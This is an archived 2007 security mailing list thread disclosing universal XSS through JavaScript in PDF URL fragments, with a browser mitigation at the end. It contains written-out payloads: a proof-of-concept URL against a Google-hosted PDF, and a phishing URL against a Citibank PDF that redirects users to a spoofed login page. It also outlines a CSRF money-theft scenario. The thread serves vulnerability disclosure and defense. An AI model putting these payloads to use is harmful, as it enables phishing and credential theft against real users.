bugtraq - Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Message-ID: <Pine.LNX.4.64.0701031706590.27544@fingers.shocking.com>
Date: Wed, 3 Jan 2007 17:08:40 -0800 (PST)
From: RSnake <rsnake@...cking.com>
To: Jim Manico <jim@...ico.net>
Cc: Jean-Jacques Halans <halans@...il.com>,
	"pdp (architect)" <pdp.gnucitizen@...glemail.com>,
	full-disclosure@...ts.grok.org.uk, bugtraq@...urityfocus.com,
	Web Security <websecurity@...appsec.org>
Subject: Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous


No, that is incorrect.  This is not visible by the application because
achor tags are not sent to the webserver.  This is completely invisible
to web application firewalls.  Btw, a user on http://sla.ckers.org/ made
this recommendation for fixing your own browsers:

Firefox->Tools->Options->Content->Manage->change PDF action to "Save to
disk".

-RSnake
http://ha.ckers.org/
http://sla.ckers.org/
http://ha.ckers.org/fierce/

On Wed, 3 Jan 2007, Jim Manico wrote:

> I'm most worried about the CSRF vector.
>
> XSS attacks are easily preventable via a web app firewall, input
> validation and/or session ID rotation; and I see a lot of frameworks
> (like Drupal 4.7.4+) protect against CSRF via Form Keys and/or rotating
> sessions. But I do not see a lot of custom commercial sites implement
> solid CSRF protection quite yet.
>
> So I'm thinking, locate a PDF that requires log-in to read; send a URL
> to the PDF with a CSRF attack attached (please transfer money to me
> swiss bank account), mass mail, the user clicks the link, legally logs
> in, the pdf path points the user to the pdf w/ CSRF attached - and then
> ouch.
>
> I'm new at this game, but am I thinking along the right path?
>
> - Jim
>
>
>
> Jean-Jacques Halans wrote:
>> And it makes a great phishing hole too.
>> Google for any banking pdf's
>> and attach your fake banking site to let the user login to read the
>> article.
>>
>> For example:
>> Send out an email pretending to come from Citibank, about a new
>> article on Wealth Management, with a link to the real article:
>> http://www.citibank.com/privatebank/np_on_wm.pdf#something=javascript:var%20url=%22http://www.citibank.com/privatebank/%22;var%20temp=confirm(%22Dear%20Citibank%20Customer,\n\nPlease%20login%20to%20read%20the%20article.\nAfter%20login%20you%20will%20be%20returned%20to%20the%20article.\n\n%22);var%20url2=%22http://www.somecitibankspoofurl.com/fake_login_page%22;if(temp){document.location=url2}else{document.location=url}
>>
>> Notice the popup (in firefox) which says: "The page at
>> http://www.citibank.com says:"
>>
>> JJ
>>
>> On 1/3/07, pdp (architect) <pdp.gnucitizen@...glemail.com> wrote:
>>> I will be very quick and just point to links where you can read about
>>> this issue.
>>>
>>> It seams that PDF documents can execute JavaScript code for no
>>> apparent reason by using the following template:
>>>
>>>
>>> http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here
>>>
>>>
>>> You must understand that the attacker doesn't need to have write
>>> access to the specified PDF document. In order to get an XSS vector
>>> working you need to have a PDF file hosted on the target and that's
>>> all about it. The rest is just a matter of your abilities and desires.
>>>
>>> This finding was originally mentioned by Sven Vetsch, on his blog.
>>> This is a very good and quite interesting. Good work.
>>>
>>> There is a POC I composed:
>>>
>>> http://www.google.com/librariancenter/downloads/Tips_Tricks_85x11.pdf#something=javascript:function%20createXMLHttpRequest(){%20%20%20try{%20return%20new%20ActiveXObject('Msxml2.XMLHTTP');%20}catch(e){}%20%20%20try{%20return%20new%20ActiveXObject('Microsoft.XMLHTTP');%20}catch(e){}%20%20%20try{%20return%20new%20XMLHttpRequest();%20}catch(e){}%20%20%20return%20null;}var%20xhr%20=%20createXMLHttpRequest();xhr.onreadystatechange%20=%20function(){%20%20%20%20if%20(xhr.readyState%20==%204)%20%20%20%20%20%20%20%20alert(xhr.responseText);};xhr.open('GET',%20'http://www.google.com',%20true);xhr.send(null);
>>>
>>>
>>> More on the matter can be found here:
>>>
>>> http://www.gnucitizen.org/blog/danger-danger-danger/
>>> http://www.disenchant.ch/blog/hacking-with-browser-plugins/34
>>>
>>> --
>>> pdp (architect) | petko d. petkov
>>> http://www.gnucitizen.org
>>>
>>> ----------------------------------------------------------------------------
>>>
>>> The Web Security Mailing List:
>>> http://www.webappsec.org/lists/websecurity/
>>>
>>> The Web Security Mailing List Archives:
>>> http://www.webappsec.org/lists/websecurity/archive/
>>> http://www.webappsec.org/rss/websecurity.rss [RSS Feed]
>>>
>>>
>>
>>
>
> -- 
> Best Regards,
> Jim Manico
> GIAC GSEC Professional, Sun Certified Java Programmer
> jim@...ico.net
> 808.652.3805
>
>
> ----------------------------------------------------------------------------
> The Web Security Mailing List:
> http://www.webappsec.org/lists/websecurity/
>
> The Web Security Mailing List Archives:
> http://www.webappsec.org/lists/websecurity/archive/
> http://www.webappsec.org/rss/websecurity.rss [RSS Feed]